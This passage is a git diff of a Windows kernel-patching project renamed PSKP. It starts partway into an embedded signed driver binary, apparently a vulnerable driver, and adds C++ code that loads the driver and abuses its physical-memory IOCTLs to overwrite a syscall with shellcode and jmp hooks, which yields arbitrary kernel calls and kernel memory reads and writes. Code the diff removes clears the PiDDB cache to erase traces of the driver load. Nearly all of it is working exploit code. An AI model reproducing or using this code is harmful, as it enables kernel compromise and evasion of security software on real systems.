0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x2D, + 0xFA, 0xF5, 0x42, 0x60, 0x09, 0xFB, 0x3A, 0x4A, 0x53, 0x02, 0xC1, 0x4C, + 0xB9, 0x30, 0x9A, 0xE1, 0x20, 0x7D, 0x44, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, + 0x01, 0x00, 0xA1, 0x57, 0x78, 0x4D, 0x95, 0x21, 0x2A, 0xA1, 0xA6, 0x9A, + 0xD9, 0x69, 0x16, 0x1D, 0x95, 0x59, 0x6F, 0xD0, 0xDD, 0x4C, 0xBF, 0x3B, + 0xD6, 0x7E, 0x5E, 0x86, 0x39, 0x41, 0xEB, 0x52, 0x3A, 0xDF, 0x1B, 0xAC, + 0x44, 0x96, 0x08, 0x06, 0x0A, 0x07, 0x01, 0xD1, 0xDE, 0x34, 0xC0, 0x93, + 0xB2, 0xB2, 0xB8, 0xED, 0x05, 0xDE, 0xB5, 0xF7, 0xC5, 0xD5, 0x32, 0x2E, + 0xC7, 0x32, 0xBF, 0x3B, 0xD8, 0xEC, 0x4D, 0xC6, 0xF2, 0x2A, 0xFF, 0x7D, + 0xA2, 0x9C, 0x8B, 0xF2, 0x16, 0xBA, 0x6C, 0x3E, 0x3E, 0x9B, 0x49, 0x9E, + 0x00, 0x28, 0x80, 0x55, 0xDC, 0xFE, 0x6E, 0x1F, 0x74, 0x5F, 0x98, 0x1A, + 0x39, 0x3A, 0xD3, 0xE2, 0xD2, 0x5B, 0x5C, 0x22, 0x51, 0xF3, 0xA6, 0xF6, + 0x1D, 0x76, 0x19, 0x8C, 0x1C, 0x82, 0x31, 0xCE, 0x65, 0xF3, 0x10, 0x23, + 0xD6, 0xAD, 0x60, 0x2E, 0x43, 0x6C, 0x75, 0x30, 0xD6, 0x9A, 0x85, 0x2B, + 0x33, 0x22, 0x44, 0x03, 0x6D, 0xC9, 0x9A, 0xB2, 0x39, 0x8A, 0x34, 0xBF, + 0xDD, 0xAF, 0xA3, 0x0B, 0xB8, 0x7F, 0x2D, 0x50, 0x17, 0xD5, 0x56, 0x75, + 0x27, 0x6A, 0xF8, 0xB8, 0xD7, 0x5E, 0x27, 0x74, 0xAC, 0x91, 0x7C, 0xEE, + 0xA4, 0x42, 0x80, 0xD5, 0xF8, 0xFB, 0xB7, 0xD8, 0x70, 0x71, 0x70, 0xE6, + 0x3D, 0x2D, 0x51, 0x5C, 0x5A, 0xAB, 0xD7, 0x3F, 0x68, 0x0B, 0xE2, 0x93, + 0x80, 0xED, 0x7C, 0x8A, 0x94, 0x06, 0x2B, 0xE9, 0xCB, 0xBF, 0xD4, 0x4B, + 0x76, 0x6E, 0x3C, 0xAC, 0x01, 0xA6, 0xB3, 0xF9, 0x0D, 0xB2, 0x6C, 0x24, + 0x4B, 0x51, 0x63, 0x2D, 0x79, 0x15, 0x58, 0x4B, 0x6C, 0x5B, 0x8B, 0x99, + 0x4B, 0xCC, 0xAA, 0x07, 0x08, 0xC9, 0xA3, 0x43, 0xAE, 0xD5, 0x27, 0x8F, + 0xD7, 0x35, 0x85, 0x6B, 0xE8, 0x69, 0xF4, 0xF1, 0x8D, 0x3D, 0x8F, 0x00, + 0x71, 0x52, 0x85, 0x84, 0x02, 0x0D, 0xA1, 0x82, 0x02, 0x0B, 0x30, 0x82, + 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, + 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, + 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, + 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, + 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, + 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, + 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, + 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, + 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, + 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, + 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, + 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, + 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, + 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x37, 0x31, 0x32, 0x30, 0x31, 0x30, 0x35, + 0x34, 0x30, 0x35, 0x34, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, + 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x48, 0xE9, + 0xD3, 0xB8, 0xB2, 0x40, 0x23, 0x3E, 0x65, 0x95, 0x5D, 0xD2, 0x19, 0x40, + 0xAF, 0x08, 0x08, 0x5F, 0x02, 0xDF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, + 0x00, 0x89, 0xF5, 0x8C, 0x74, 0xAD, 0xAF, 0x17, 0x5E, 0x03, 0xA0, 0x82, + 0x0D, 0xBC, 0x1D, 0xBC, 0x29, 0x15, 0x66, 0x7B, 0x43, 0x94, 0xEA, 0x86, + 0x4F, 0x8A, 0x29, 0x08, 0x4D, 0x78, 0x92, 0x2D, 0x4F, 0x49, 0x66, 0x6F, + 0x5E, 0x0C, 0x83, 0x5D, 0xB3, 0x25, 0xDF, 0xAB, 0x99, 0xC8, 0xEC, 0xBB, + 0x90, 0x07, 0x7C, 0xC5, 0xBD, 0x7A, 0x86, 0x6A, 0x84, 0x71, 0x65, 0xE9, + 0x63, 0xD7, 0x1E, 0x28, 0xBF, 0x3C, 0xB9, 0x1C, 0xE5, 0xFD, 0xC9, 0x92, + 0x03, 0xC9, 0x5C, 0x67, 0x35, 0x81, 0xA9, 0x24, 0x4E, 0xDA, 0xE9, 0x1E, + 0x8D, 0xF1, 0x2B, 0x53, 0xEF, 0x7A, 0xFE, 0x0D, 0xCC, 0xAE, 0x97, 0x7B, + 0x63, 0x44, 0x0F, 0x9C, 0x03, 0x0B, 0xC3, 0xC5, 0x26, 0x56, 0x3C, 0x15, + 0x26, 0x4F, 0x21, 0x5C, 0x57, 0x0F, 0xBB, 0x23, 0x06, 0x0E, 0x34, 0x14, + 0x1A, 0x2D, 0x06, 0xAA, 0xD2, 0xF2, 0xEC, 0x57, 0x61, 0x08, 0x74, 0xF4, + 0x36, 0x42, 0x06, 0x81, 0xD6, 0x79, 0x65, 0xB0, 0x6F, 0xF2, 0x4F, 0x6F, + 0x5A, 0xD0, 0xC3, 0x84, 0xC3, 0x66, 0x53, 0x92, 0xC0, 0x22, 0x23, 0xE1, + 0xD5, 0x1B, 0x02, 0x76, 0x8E, 0xEB, 0x5F, 0xC2, 0x44, 0x68, 0xF0, 0x36, + 0x2E, 0xFC, 0xE1, 0x13, 0xB8, 0x21, 0x44, 0xAD, 0x9F, 0x7A, 0xD2, 0x9F, + 0xA9, 0x5F, 0xB1, 0xCB, 0x4C, 0xD9, 0x08, 0x6E, 0x4B, 0x82, 0x1D, 0x6D, + 0x7C, 0xD2, 0x51, 0xD1, 0x74, 0x0B, 0x7A, 0xE5, 0x7A, 0x59, 0x93, 0xF9, + 0xCA, 0xB8, 0x85, 0xC4, 0x2C, 0x8A, 0x1D, 0x93, 0x48, 0x6C, 0xAE, 0x3E, + 0x01, 0x5B, 0x66, 0x7F, 0x67, 0xF8, 0x2F, 0x8A, 0xF2, 0x65, 0x2C, 0x88, + 0x3C, 0x7F, 0xAD, 0xB8, 0x8D, 0xBA, 0x88, 0x99, 0xFB, 0xE1, 0xDE, 0x48, + 0xA2, 0x66, 0x96, 0xF0, 0xA9, 0xF1, 0xF2, 0x12, 0x21, 0x16, 0xB6, 0xDA, + 0x8C, 0xD3, 0x5E, 0xD3, 0x5B, 0x00, 0x00, 0x00 + }; +} \ No newline at end of file diff --git a/PSKP/vdm/vdm.hpp b/PSKP/vdm/vdm.hpp new file mode 100644 index 0000000..c7fce30 --- /dev/null +++ b/PSKP/vdm/vdm.hpp @@ -0,0 +1,142 @@ +#pragma once +#include +#include + +#include "../util/util.hpp" +#include "../util/loadup.hpp" +#include "raw_driver.hpp" + +#define MAP_PHYSICAL 0xC3502004 +#define UNMAP_PHYSICAL 0xC3502008 + +#pragma pack (push, 1) +typedef struct _gdrv_t +{ + unsigned long interface_type; + unsigned long bus; + std::uintptr_t phys_addr; + unsigned long io_space; + unsigned long size; +} gdrv_t, *pgdrv_t; +#pragma pack (pop) + +namespace vdm +{ + inline HANDLE drv_handle; + __forceinline auto load_drv() -> std::pair + { + const auto [result, key] = + driver::load( + vdm::raw_driver, + sizeof(vdm::raw_driver) + ); + + if (!result) + return { {}, {} }; + + vdm::drv_handle = CreateFileA( + "\\\\.\\GIO", + GENERIC_READ | GENERIC_WRITE, + NULL, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + return { vdm::drv_handle, key }; + } + + __forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key) + { + return CloseHandle(drv_handle) && driver::unload(drv_key); + } + + __forceinline bool read_phys(void* addr, void* buffer, std::size_t size) + { + if (!util::is_valid(reinterpret_cast(addr))) + return false; + + gdrv_t in_buffer; + in_buffer.bus = NULL; + in_buffer.interface_type = NULL; + in_buffer.phys_addr = reinterpret_cast(addr); + in_buffer.io_space = NULL; + in_buffer.size = size; + + void* out_buffer[2] = { 0 }; + unsigned long returned = 0; + + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof in_buffer, + out_buffer, + sizeof out_buffer, + &returned, NULL + )) + return false; + + __try + { + memcpy(buffer, out_buffer[0], size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&out_buffer[0]), + sizeof out_buffer[0], + out_buffer, + sizeof out_buffer, + &returned, NULL + ); + } + + __forceinline bool write_phys(void* addr, void* buffer, std::size_t size) + { + if (!util::is_valid(reinterpret_cast(addr))) + return false; + + gdrv_t in_buffer; + in_buffer.bus = NULL; + in_buffer.interface_type = NULL; + in_buffer.phys_addr = reinterpret_cast(addr); + in_buffer.io_space = NULL; + in_buffer.size = size; + + void* out_buffer[2] = { 0 }; + unsigned long returned = 0; + + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof in_buffer, + out_buffer, + sizeof out_buffer, + &returned, NULL + )) + return false; + + __try + { + memcpy(out_buffer[0], buffer, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&out_buffer[0]), + sizeof out_buffer[0], + out_buffer, + sizeof out_buffer, + &returned, NULL + ); + } +} \ No newline at end of file diff --git a/PSKP/vdm_ctx/vdm_ctx.cpp b/PSKP/vdm_ctx/vdm_ctx.cpp new file mode 100644 index 0000000..4eb651c --- /dev/null +++ b/PSKP/vdm_ctx/vdm_ctx.cpp @@ -0,0 +1,92 @@ +#include "vdm_ctx.h" + +namespace vdm +{ + vdm_ctx::vdm_ctx() + { + // already found the syscall's physical page... + if (vdm::syscall_address.load()) + return; + + vdm::ntoskrnl = reinterpret_cast( + LoadLibraryExA("ntoskrnl.exe", NULL, + DONT_RESOLVE_DLL_REFERENCES)); + + nt_rva = reinterpret_cast( + util::get_kmodule_export( + "ntoskrnl.exe", + syscall_hook.first, + true + )); + + vdm::nt_page_offset = nt_rva % PAGE_4KB; + // for each physical memory range, make a thread to search it + std::vector search_threads; + for (auto ranges : util::pmem_ranges) + search_threads.emplace_back(std::thread( + &vdm_ctx::locate_syscall, + this, + ranges.first, + ranges.second + )); + + for (std::thread& search_thread : search_threads) + search_thread.join(); + } + + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const + { + const auto page_data = + reinterpret_cast( + VirtualAlloc( + nullptr, + PAGE_4KB, MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + for (auto page = 0u; page < length; page += PAGE_4KB) + { + if (vdm::syscall_address.load()) + break; + + if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) + continue; + + // check the first 32 bytes of the syscall, if its the same, test that its the correct + // occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)... + if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32)) + if (valid_syscall(reinterpret_cast(address + page + nt_page_offset))) + syscall_address.store( + reinterpret_cast( + address + page + nt_page_offset)); + } + + VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); + } + + bool vdm_ctx::valid_syscall(void* syscall_addr) const + { + static std::mutex syscall_mutex; + syscall_mutex.lock(); + + static const auto proc = + GetProcAddress( + LoadLibraryA(syscall_hook.second), + syscall_hook.first + ); + + // 0: 48 31 c0 xor rax, rax + // 3 : c3 ret + std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 }; + std::uint8_t orig_bytes[sizeof shellcode]; + + // save original bytes and install shellcode... + vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); + + auto result = reinterpret_cast(proc)(); + vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + syscall_mutex.unlock(); + return result == STATUS_SUCCESS; + } +} \ No newline at end of file diff --git a/PSKP/vdm_ctx/vdm_ctx.h b/PSKP/vdm_ctx/vdm_ctx.h new file mode 100644 index 0000000..ac64417 --- /dev/null +++ b/PSKP/vdm_ctx/vdm_ctx.h @@ -0,0 +1,114 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include "../vdm/vdm.hpp" + +namespace vdm +{ + // change this to whatever you want :^) + constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + + inline std::atomic is_page_found = false; + inline std::atomic syscall_address = nullptr; + + inline std::uint16_t nt_page_offset; + inline std::uint32_t nt_rva; + inline std::uint8_t* ntoskrnl; + + class vdm_ctx + { + public: + vdm_ctx(); + template + __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const + { + static const auto proc = + GetProcAddress( + LoadLibraryA(syscall_hook.second), + syscall_hook.first + ); + + static std::mutex syscall_mutex; + syscall_mutex.lock(); + + // jmp [rip+0x0] + std::uint8_t jmp_code[] = + { + 0xff, 0x25, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00 + }; + + std::uint8_t orig_bytes[sizeof jmp_code]; + *reinterpret_cast(jmp_code + 6) = addr; + vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + // execute hook... + vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + auto result = reinterpret_cast(proc)(args ...); + vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + syscall_mutex.unlock(); + return result; + } + + template + __forceinline auto rkm(std::uintptr_t addr) -> T + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + T buffer; + this->syscall( + ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T); + + return buffer; + } + + template + __forceinline void wkm(std::uintptr_t addr, const T& value) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, (void*)addr, &value, sizeof T); + } + + __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t + { + static const auto ntoskrnl_get_virtual = + util::get_kmodule_export( + "ntoskrnl.exe", + "MmGetVirtualForPhysical"); + + return this->syscall( + ntoskrnl_get_virtual, addr); + } + + __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS + { + static const auto ps_lookup_peproc = + util::get_kmodule_export( + "ntoskrnl.exe", + "PsLookupProcessByProcessId"); + + PEPROCESS peproc = nullptr; + this->syscall( + ps_lookup_peproc, + (HANDLE)pid, + &peproc + ); + + return peproc; + } + private: + void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; + bool valid_syscall(void* syscall_addr) const; + }; +} \ No newline at end of file diff --git a/README.md b/README.md index be3350b..721647c 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ # credit * buck#0001 - inspiration for most of this. -# nasa-patch +# PSKP (Process-Context Specific Kernel Patches) This project allows you to patch your kernel only in a specific process. It is highly experimental and will most likely cause your system to crash. Please install some form of virtualization before messing around with this project/library! This software is provided as-is, I have no plans on updating this code (except to add 2mb page support)... @@ -22,4 +22,5 @@ If you are interested in how this code works you can read about it here: [https: const auto new_patch_page = kernel_patch.patch(function_addr); std::cout << "[+] new_patch_page: " << new_patch_page << std::endl; - *(short*)new_patch_page = 0xDEAD; + *(short*)new_patch_page = 0xDEAD; // this patch will only be viewable inside of your context... +``` \ No newline at end of file diff --git a/nasa-patch/kernel_ctx/kernel_ctx.cpp b/nasa-patch/kernel_ctx/kernel_ctx.cpp deleted file mode 100644 index 069c6ef..0000000 --- a/nasa-patch/kernel_ctx/kernel_ctx.cpp +++ /dev/null @@ -1,293 +0,0 @@ -#include "kernel_ctx.h" - -namespace nasa -{ - kernel_ctx::kernel_ctx() - { - if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer) - return; - - nt_rva = reinterpret_cast( - util::get_module_export( - "ntoskrnl.exe", - syscall_hook.first.data(), - true - )); - - nt_page_offset = nt_rva % PAGE_SIZE; - ntoskrnl_buffer = reinterpret_cast(LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)); - - DBG_PRINT("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); - DBG_PRINT("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); - DBG_PRINT("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); - - std::vector search_threads; - //--- for each physical memory range, make a thread to search it - for (auto ranges : util::pmem_ranges) - search_threads.emplace_back(std::thread( - &kernel_ctx::map_syscall, - this, - ranges.first, - ranges.second - )); - - for (std::thread& search_thread : search_threads) - search_thread.join(); - - DBG_PRINT("[+] psyscall_func: 0x%p\n", psyscall_func.load()); - } - - void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const - { - //if the physical memory range is less then or equal to 2mb - if (begin + end <= 0x1000 * 512) - { - auto page_va = nasa::map_phys(begin + nt_page_offset, end); - if (page_va) - { - // scan every page of the physical memory range - for (auto page = page_va; page < page_va + end; page += 0x1000) - if (!psyscall_func.load()) // keep scanning until its found - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - psyscall_func.store((void*)page); - return; - } - nasa::unmap_phys(page_va, end); - } - } - else // else the range is bigger then 2mb - { - auto remainder = (begin + end) % (0x1000 * 512); - - // loop over 2m chunks - for (auto range = begin; range < begin + end; range += 0x1000 * 512) - { - auto page_va = nasa::map_phys(range + nt_page_offset, 0x1000 * 512); - if (page_va) - { - // loop every page of 2mbs (512) - for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000) - { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - psyscall_func.store((void*)page); - return; - } - } - nasa::unmap_phys(page_va, 0x1000 * 512); - } - } - - // map the remainder and check each page of it - auto page_va = nasa::map_phys(begin + end - remainder + nt_page_offset, remainder); - if (page_va) - { - for (auto page = page_va; page < page_va + remainder; page += 0x1000) - { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - psyscall_func.store((void*)page); - return; - } - } - nasa::unmap_phys(page_va, remainder); - } - } - } - - PEPROCESS kernel_ctx::get_peprocess(DWORD pid) - { - if (!pid) - return NULL; - - PEPROCESS proc; - static auto get_peprocess_from_pid = - util::get_module_export( - "ntoskrnl.exe", - "PsLookupProcessByProcessId" - ); - - const auto status = syscall( - get_peprocess_from_pid, - (HANDLE)pid, - &proc - ); - return proc; - } - - void kernel_ctx::rkm(void* buffer, void* address, std::size_t size) - { - if (!buffer || !address || !size) - return; - - size_t amount_copied; - static auto mm_copy_memory = - util::get_module_export( - "ntoskrnl.exe", - "memcpy" - ); - - if (mm_copy_memory) - syscall( - mm_copy_memory, - buffer, - address, - size - ); - } - - void kernel_ctx::wkm(void* buffer, void* address, std::size_t size) - { - if (!buffer || !address || !size) - return; - - size_t amount_copied; - static auto mm_copy_memory = - util::get_module_export( - "ntoskrnl.exe", - "memcpy" - ); - - if (mm_copy_memory) - syscall( - mm_copy_memory, - address, - buffer, - size - ); - } - - void* kernel_ctx::get_physical(void* virt_addr) - { - if (!virt_addr) - return NULL; - - static auto mm_get_physical = - util::get_module_export( - "ntoskrnl.exe", - "MmGetPhysicalAddress" - ); - - return syscall( - mm_get_physical, - virt_addr - ); - } - - void* kernel_ctx::get_virtual(void* addr) - { - if (!addr) - return NULL; - - static auto mm_get_virtual = - util::get_module_export( - "ntoskrnl.exe", - "MmGetVirtualForPhysical" - ); - - PHYSICAL_ADDRESS phys_addr; - memcpy(&phys_addr, &addr, sizeof(addr)); - return syscall( - mm_get_virtual, - phys_addr - ); - } - - bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp) - { - static const auto piddb_lock = - util::memory::get_piddb_lock(); - - static const auto piddb_table = - util::memory::get_piddb_table(); - - if (!piddb_lock || !piddb_table) - return false; - - static const auto ex_acquire_resource = - util::get_module_export( - "ntoskrnl.exe", - "ExAcquireResourceExclusiveLite" - ); - - static const auto lookup_element_table = - util::get_module_export( - "ntoskrnl.exe", - "RtlLookupElementGenericTableAvl" - ); - - static const auto release_resource = - util::get_module_export( - "ntoskrnl.exe", - "ExReleaseResourceLite" - ); - - static const auto delete_table_entry = - util::get_module_export( - "ntoskrnl.exe", - "RtlDeleteElementGenericTableAvl" - ); - - if (!ex_acquire_resource || !lookup_element_table || !release_resource) - return false; - - PiDDBCacheEntry cache_entry; - const auto drv_name = std::wstring(file_name.begin(), file_name.end()); - cache_entry.time_stamp = timestamp; - RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data()); - - // - // ExAcquireResourceExclusiveLite - // - if (!syscall(ex_acquire_resource, piddb_lock, true)) - return false; - - // - // RtlLookupElementGenericTableAvl - // - PIDCacheobj* found_entry_ptr = - syscall( - lookup_element_table, - piddb_table, - reinterpret_cast(&cache_entry) - ); - - if (found_entry_ptr) - { - - // - // unlink entry. - // - PIDCacheobj found_entry = rkm(found_entry_ptr); - LIST_ENTRY NextEntry = rkm(found_entry.list.Flink); - LIST_ENTRY PrevEntry = rkm(found_entry.list.Blink); - - PrevEntry.Flink = found_entry.list.Flink; - NextEntry.Blink = found_entry.list.Blink; - - wkm(found_entry.list.Blink, PrevEntry); - wkm(found_entry.list.Flink, NextEntry); - - // - // delete entry. - // - syscall(delete_table_entry, piddb_table, found_entry_ptr); - - // - // ensure the entry is 0 - // - auto result = syscall( - lookup_element_table, - piddb_table, - reinterpret_cast(&cache_entry) - ); - - syscall(release_resource, piddb_lock); - return !result; - } - syscall(release_resource, piddb_lock); - return false; - } - -} \ No newline at end of file diff --git a/nasa-patch/kernel_ctx/kernel_ctx.h b/nasa-patch/kernel_ctx/kernel_ctx.h deleted file mode 100644 index 11346f9..0000000 --- a/nasa-patch/kernel_ctx/kernel_ctx.h +++ /dev/null @@ -1,112 +0,0 @@ -#pragma once -#include "../util/util.hpp" -#include "../physmeme/physmeme.hpp" -#include "../util/hook.hpp" - -namespace nasa -{ - // - // offset of function into a physical page - // used for comparing bytes when searching - // - inline std::uint16_t nt_page_offset{}; - - // - // rva of nt function we are going to hook - // - inline std::uint32_t nt_rva{}; - - // - // base address of ntoskrnl (inside of this process) - // - inline const std::uint8_t* ntoskrnl_buffer{}; - - // - // mapping of a syscalls physical memory (for installing hooks) - // - inline std::atomic psyscall_func{}; - - // - // you can edit this how you choose, im hooking NtShutdownSystem. - // - inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - - class kernel_ctx - { - friend class mem_ctx; - public: - kernel_ctx(); - - // - // read kernel memory into buffer - // - void rkm(void* buffer, void* address, std::size_t size); - - // - // write kernel memory from buffer - // - void wkm(void* buffer, void* address, std::size_t size); - - template - T rkm(void* addr) - { - if (!addr) - return {}; - T buffer; - rkm((void*)&buffer, addr, sizeof(T)); - return buffer; - } - - template - void wkm(void* addr, const T& data) - { - if (!addr) - return; - wkm((void*)&data, addr, sizeof(T)); - } - - // - // gets physical address from virtual - // - void* get_physical(void* virt_addr); - - // - // uses the pfn database to get the virtual address - // - void* get_virtual(void* virt_addr); - - // - // use this to call any function in the kernel - // - template - std::invoke_result_t syscall(void* addr, Ts ... args) - { - static const auto proc = - GetProcAddress( - GetModuleHandleA(syscall_hook.second.data()), - syscall_hook.first.data() - ); - - if (!proc || !psyscall_func || !addr) - return {}; - - hook::make_hook(psyscall_func, addr); - auto result = reinterpret_cast(proc)(args ...); - hook::remove(psyscall_func); - return result; - } - - bool clear_piddb_cache(const std::string& drv_name, const std::uint32_t epoch_time); - private: - - // - // find and map the physical page of a syscall into this process - // - void map_syscall(std::uintptr_t begin, std::uintptr_t end) const; - - // - // get a pointer to an eprocess given process id. - // - PEPROCESS get_peprocess(DWORD pid); - }; -} \ No newline at end of file diff --git a/nasa-patch/main.cpp b/nasa-patch/main.cpp deleted file mode 100644 index 31d85b2..0000000 --- a/nasa-patch/main.cpp +++ /dev/null @@ -1,38 +0,0 @@ -#include -#include "kernel_ctx/kernel_ctx.h" -#include "mem_ctx/mem_ctx.hpp" -#include "patch_ctx/patch_ctx.hpp" - -int __cdecl main(int argc, char** argv) -{ - if (!nasa::load_drv()) - return NULL; - - nasa::kernel_ctx kernel; - - if (!nasa::unload_drv()) - return NULL; - - if (!kernel.clear_piddb_cache(nasa::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp)) - { - std::cerr << "[+] failed to clear piddb cache" << std::endl; - return -1; - } - - nasa::mem_ctx my_proc(kernel, GetCurrentProcessId()); - nasa::patch_ctx kernel_patch(&my_proc); - - const auto function_addr = - reinterpret_cast( - util::get_module_export("win32kbase.sys", "NtDCompositionRetireFrame")); - - const auto new_patch_page = kernel_patch.patch(function_addr); - std::cout << "[+] new_patch_page: " << new_patch_page << std::endl; - *(short*)new_patch_page = 0xDEAD; - std::cout << "[+] kernel MZ (before patch): " << std::hex << kernel.rkm(function_addr) << std::endl; - kernel_patch.enable(); - std::cout << "[+] kernel MZ (patch enabled): " << std::hex << kernel.rkm(function_addr) << std::endl; - kernel_patch.disable(); - std::cout << "[+] kernel MZ (patch disabled): " << std::hex << kernel.rkm(function_addr) << std::endl; - std::cin.get(); -} diff --git a/nasa-patch/mem_ctx/mem_ctx.cpp b/nasa-patch/mem_ctx/mem_ctx.cpp deleted file mode 100644 index 7f5a54a..0000000 --- a/nasa-patch/mem_ctx/mem_ctx.cpp +++ /dev/null @@ -1,461 +0,0 @@ -#include "mem_ctx.hpp" -#include - -namespace nasa -{ - mem_ctx::mem_ctx(kernel_ctx& krnl_ctx, DWORD pid) - : - k_ctx(&krnl_ctx), - dirbase(get_dirbase(krnl_ctx, pid)), - pid(pid) - { - genesis_page.first = VirtualAlloc( - NULL, - PAGE_SIZE, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - ); - - // - // page in the page, do not remove this makes the entries. - // - *(std::uintptr_t*)genesis_page.first = 0xC0FFEE; - - // - // flush tlb since we just accessed the page - // - page_accessed(); - - // - // get the ppte and pte of the page we allocated - // - auto [page_ppte, page_pte] = get_pte(genesis_page.first, true); - genesis_page.second = page_pte; - - // - // allocate a page that will get the mapping of the first pages PT - // - genesis_cursor.first = reinterpret_cast<::ppte>( - VirtualAlloc( - NULL, - 0x1000, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - )); - - // - // page it in - // - *(std::uintptr_t*)genesis_cursor.first = 0xC0FFEE; - - // - // flush tlb since we just accessed the page - // - page_accessed(); - - // - // get ppte and pte of the cursor page. - // - auto [cursor_ppte, cursor_pte] = get_pte(genesis_cursor.first, true); - genesis_cursor.second = cursor_pte; - - // - // change the page to the PT of the first page we 